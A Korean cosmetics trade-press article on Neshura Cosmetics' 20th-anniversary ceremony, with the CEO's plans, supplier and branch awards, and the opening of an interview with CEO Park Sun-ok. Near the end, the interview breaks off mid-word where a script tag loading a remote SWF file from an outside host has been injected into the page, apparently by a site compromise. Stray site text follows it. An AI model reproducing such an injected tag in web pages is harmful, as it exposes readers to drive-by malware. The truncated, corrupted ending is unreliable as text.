요즘처럼 급변하는 시장상황에서 네슈라화장품의 20주년은 남다른 의미를 지닌다.
행사장 양면에 세운 대형 스크린위에 노사연, 고소영, 최진실, 한고은 등으로 이어지는 당대 최고의 네슈라 전속모델들의 CF 릴레이가 이어졌고 참석자들 사이에는 간간히 웃음과 환호가 쏟아지며 당시를 추억하는 시간을 가졌다.
총 1, 2, 3부로 나눠 진행된 이날 기념식에서 1부 행사로 네슈라 화장품이 20년간 걸어왔던 길과 박순옥 대표의 창립기념사, 그리고 내빈의 답사, 축사 등의 순으로 진행됐다.
박순옥 대표는 기념사를 통해 20년간 한결같은 관심과 사랑을 보내준 행사 참석자에게 감사의 말을 전하면서, 그동안 네슈라화장품이 걸어온 발자취에 대한 소개와 함께 현재 네슈라화장품이 보유하고 있는 핵심 역량을 통해 향후 기능성화장품 전문기업으로 재도약 하겠다는 굳은 의지를 밝히기도 했다.
또한 R&D분야에 대한 투자를 통해 신원료 및 다중기능성 제품개발, 광고-마케팅에 대한 투자확대를 통해 브랜드 및 기업이미지 제고, 인적자원관리 체계 구축을 통한 생산효율성 및 기업경쟁력 강화, 유통채널별 전용품목 개발을 통한 지원강화 및 수출비중 강화를 통해 향후 10년 이내에 매출 1천억 원에 순이익 150억원을 실현과 함께 20년 역사에 걸맞은 책임 있는 사회 구성체로서 역할을 다하기 위해 소외계층과 다양한 사회-문화 활동에 대한 지원도 확대하겠다고 밝혔다.
이어진 2부 행사에서는 회사 발전에 기여한 협력업체와 우수 지사에 대한 표창이 있었다. 경남유리(대표 김병식), 대래기획(대표 김지헌), 광신포장(대표 신창식)에 최우수 협력업체상을 수여했으며, 원방플라스틱(대표 김병두)을 포함한 17개 업체에 우수협력업체 감사패를 전달했다. 또한 포천지사(대표 김용범)와 동마산지사(대표 이광섭)가 우수지사에 선정됐으며, 해외우수 지사에는 몽골지사(대표 쿨란 친밧, KHULAN CHINBAT)가 선정돼 감사패를 전달했다.
개그맨 김종국의 사회로 진행된 3부 행사는 지금의 네슈라를 있게 해준 임직원과 협력업체들의 노고에 감사하는 의미에서 장기자랑과 경품 추첨행사가 이어졌다.
이날 한 참석자는 “20년 이란 시간은 사람으로 따지면 성년을 맞이한 것이고 가장 활동적인 나이가 된 것"이라며 “국내 대표적이 시판 메이커로서 굳건한 자리매김을 계속해주길 바란다"고 말했다.
김유진 기자 toyoujin@csmt.co.kr
사진 복세욱 기자 ricky76@csmt.co.kr
“10년 안에 업계 10위권 진입 목표"
 지난 7월 13일 경기도 평택시 네슈라화장품 본사. 창립 20주년이 말해 주듯, 눈앞에 비친 회사의 모습은 녹녹치 않은 세월의 연륜과 약관(弱冠) 청년의 기백을 함께 느끼게 했다. 때 마침 그친 장맛비로 회사 내 심어놓은 수목들의 푸르름과 향기도 더욱 선명하고 진하게 풍겼다.
“여기까지 오시느라 수고했어요. 먼 것 아닌 것 같아도 이래저래 하루일과를 보내야 하잖아요." 박순옥 대표는 자식을 대하는 어머니 같은 자상함과 편안함으로 일행을 맞았다.
“강산이 벌써 두 번이나 변했네요."라는 기자의 인사말에 “그러게요. 19주년과 20주년은 1년 차인데 느낌이 참 틀려요. 오늘 아침 문득 지난 시간 보니 많은 것들이 주마등처럼 스쳐가더군요. 여기까지 잘도 왔구나라는 내심 고마울 따름이지요."
그동안 회사를 이끌면서 기뻤거나 힘들었던 때는 언제였냐는 질문에 대해 박 대표는 “20년 전 어려운 여건 속에서 회사를 설립했을 때나 지난 98년 창업주이자 남편인 고 유기수 회장의 뒤를 이어 대표이사를 맡아 곧바로 IMF라는 험로를 맞았을 때, 그리고 평택 사옥으로 옮겨 지금의 회사로 성장시킨 것… 글쎄요. 가만 보니 기뻤던 때는 별로 없던 것 같네요. 호호"
1 남 2녀를 둔 어머니이자, 100명의 직원을 책임지는 여성 CEO로서 그간 말 못한 속내를 소회하며 풀었다.
그래도 박 대표는 “내 가족이 사용하는 믿고 안심할 수 있는 제품을 생산하겠다는 기업이념으로 네슈라화장품을 누구나 인정하는 최?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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